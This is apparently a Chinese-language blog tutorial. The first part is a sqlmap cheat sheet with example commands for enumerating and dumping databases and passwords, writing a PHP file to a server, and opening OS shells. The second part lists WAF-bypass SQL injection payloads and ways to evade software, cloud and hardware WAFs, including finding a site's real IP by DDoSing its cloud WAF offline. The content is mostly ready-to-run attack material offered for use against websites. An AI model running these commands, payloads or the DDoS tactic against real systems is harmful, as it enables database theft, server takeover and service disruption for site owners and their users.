: : 工欲善其事,必先利其器。学会如何高效的实用工具可以让我们在工作中事半功倍。

一、sqlmap参数:

-u/–url

1
2
#参数后面接url地址
sqlmap -u http://www.sqli.com/Less-1/?id=1

-m

1
2
#从文本获取多个目标进行扫描,文件中每行只能有一个url
sqlmap -m url.txt

-r

1
2
#从文本中加载post/get请求头,不需要自行设置cookie,POST等数据
sqlmap -r test.txt

-v

1
2
3
4
5
6
7
8
#0 只显示python错误以及严重的信息;
#1 同时显示基本信息和警告信息(默认等级);
#2 同时显示debug信息;
#3 测试时显示payload;
#4 http请求头;
#5 http响应头;
#6 http响应页面
sqlmap -u http://www.sqli.com/Less-2/?id=1 -v 3

–data

1
2
#此参数是把data后面的数据以POST方式提交,sqlmap会像检测GET参数一样检测POST提交过去的参数。
sqlmap -u http://www.sqli.com/Less-2/?id=1 --data="id=1"

–cookie

1
2
#当web需要登录的时候,需要我们抓包获取cookie参数,然后复制出来,加到--cookie参数中。
sqlmap -u http://www.sqli.com/Less-2/?id=1 --cookie="Cookie:Hm_lvt6910067,1546929561,1547001094,1547024662;PHPSESSID=o64fbvo316lg59njufl2gfutm4;"

–user-agent

1
2
3
# 更改扫描时发包的浏览器请求头
#默认情况下sqlmap的HTTP请求头中的User-Agent值是: sqlmap/1.0-dev-xxxxxxxxx(http://sqlmap.org)
sqlmap -u http://www.sqli.com/Less-2/?id=1 --user-agent="Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0"

–random-agent

1
2
#从/usr/share/sqlmap/data/txt/user-agents.txt中随机产生User-Agent头。
sqlmap -u http://www.sqli.com/Less-2/?id=1 --random-agent

–referer

1
2
#在请求中伪造HTTP中的referer。
sqlmap -u http://www.sqli.com/Less-2/?id=1 --referer="https://baidu.com/"

–delay

1
2
#设置每次发包间隔为5秒
sqlmap -u http://www.sqli.com/Less-2/?id=1 --delay 5

–timeout

1
2
#设定一个http请求超过多少秒判定为超时,默认是30秒。
sqlmap -u http://www.sqli.com/Less-2/?id=1 --timeout 20

-p

1
2
#指定测试参数
sqlmap -r test.txt -p "user-agent"

–skip

1
2
#跳过指定参数不测试
sqlmap -r test.txt --skip "id,user-agent"

–level (sqlmap -r 情况下)

1
2
3
4
5
#共有五个等级,默认为1,sqlmap使用基础的payload;
#level>=2的时候就会测试HTTP Cookie;
#level>=3的时候就会测试HTTP User-Agent/Referer头;
#level=5 的时候会测试HTTP Host;
sqlmap -r test.txt --level 3

–risk

1
2
3
4
#1 测试大部分测试语句;
#2 加上时间注入;
#3 加上or语句,在update和delect时可能会影响整个表
sqlmap -u http://www.sqli.com/Less-2/?id=1 --risk 2

–dbs

1
2
#列出所有数据库
sqlmap -u http://www.sqli.com/Less-2/?id=1 --dbs

–users

1
2
#列出当前用户名
sqlmap -u http://www.sqli.com/Less-2/?id=1 --users

–passwords

1
2
#列出密码
sqlmap -u http://www.sqli.com/Less-2/?id=1 --passwords

–is-dba

1
2
#测试是否为root权限
sqlmap -u http://www.sqli.com/Less-2/?id=1 --is-dba

–technique

1
2
3
4
5
6
7
8
9
/*指定注入方式
B 布尔盲注
Q 内联注入
T 时间盲注
U 联合查询
E 报错注入
S 栈查询
查询速度=联合>报错>布尔>时间注入*/
sqlmap -u http://www.sqli.com/Less-2/?id=1 --technique U

–current-db

1
2
#查看当前数据库
sqlmap -u http://www.sqli.com/Less-2/?id=1 --current-db

–privileges

1
2
#查看权限
sqlmap -u http://www.sqli.com/Less-2/?id=1 --privileges

-D 库名 –tables

1
2
#列出指定库的数据表
sqlmap -u http://www.sqli.com/Less-2/?id=1 -D security --tables

-D 库名 -T 表名 –columns

1
2
#列出指定库的指定数据表内字段及类型
sqlmap -u http://www.sqli.com/Less-2/?id=1 -D security -T users --columns

-D 库名 -T 表名 -C 字段1,字段2 –dump

1
2
#列出对应数据表中的指定字段
sqlmap -u http://www.sqli.com/Less-2/?id=1 -D security -T users -C username,password --dump

–proxy

1
2
#指定代理服务器
sqlmap -u http://www.sqli.com/Less-2/?id=1 --proxy http://127.0.0.1:8080

–prefix

1
2
#设置注入payload字符串前缀
sqlmap -u http://www.sqli.com/Less-2/?id=1 --prefix=')))))

–suffix

1
2
#设置注入payload字符串后缀
sqlmap -u http://www.sqli.com/Less-2/?id=1 –suffix=or 1='1

–file-write=”文件路径” –file-dest=”目标绝对路径”

1
2
#向目标服务器写入文件
sqlmap -u http://www.sqli.com/Less-2/?id=1 --file-write="test.txt" --file-dest="C:/phpStudy/PHPTutorial/WWW/one.php"

–batch

1
2
#全自动选择
sqlmap -u http://www.sqli.com/Less-2/?id=1 --batch

–dump

1
2
#导出当前数据库所有数据
sqlmap -u http://www.sqli.com/Less-2/?id=1 --dump

–dimp-all

1
2
#导出所有数据库的所有数据
sqlmap -u http://www.sqli.com/Less-2/?id=1 --dimp-all

–start=开始条数 –stop=结束条数

1
2
#限制读取数据长度
sqlmap -u http://www.sqli.com/Less-2/?id=1 --start=1 --stop=3

–purge

1
2
#清空缓存目录
sqlmap -u http://www.sqli.com/Less-2/?id=1 --purge

–sql-shell

1
2
#反弹sqlshell(要有文件读写权限)
sqlmap -u http://www.sqli.com/Less-2/?id=1 --sql-shell

–os-shell

1
2
#反弹osshell(要有文件读写权限)
sqlmap -u http://www.sqli.com/Less-2/?id=1 --os-shell

二、绕waf小姿势

绕过思想:

绕waf基本思路,禁用什么字符就绕什么字符!

1.用填充垃圾字符代替空格,内联注释,利用– /*注释加%0apayload– */换行执行语句

1
http://www.sqli.com/Less-3/?id=-1')|| true=true
1
http://www.sqli.com/Less-3/?id=-1')and /*!000001*/=/*!000002*/ -- -

2.使用BP brute forcer模块跑垃圾数据测试有效垃圾数据,/**/可代替空格

1
2
#填充垃圾字符绕过waf
and/*§1§*/1=1 --+

3.%0a为换行符,

1
2
3
4
#/*!闭合最后的*/,union--+/*会被注释,换行后select在第二行不会被注释(/*!*/内联注释此时版本小于数据库版本,注释不生效)
id=-1 /*!00000union--+/*%0aselect 1,2,3*/--+
#简化版
SELECT * FROM users WHERE id=-1 union-- /* select 1,2,3-- */ LIMIT 0,1

4.用like”[%23]”阻断前语句的查询结果

1
http://www.sqli.com/Less-3/?id=-1') like "[%23]" union--+/*%0aselect 1,2,3--+*/

软件型waf:

安装在服务器:安全狗、D盾、云锁…

绕过方法:

本地搭建环境测试绕过语句

云waf:

部署在云端;腾讯云、玄武盾、华为云、亚马逊云…

绕过方法:

找到网站的真实IP地址,绑定在主机host文件中,让流量不通过云waf,直接进行攻击

获取真实IP方法:

1、非暴力型:微步在线、全球ping 查找历史解析记录

2、暴力型:DDOS将云waf打下线后获取真实IP

硬件型waf:

检测流量;

绕过方法:

真实网站下测试注入语句

代码型waf:

网站所有入站流量首先经过该waf过滤再传入想要执行的参数处

绕过方法:

扫目录获取其代码,或是文件包含获取代码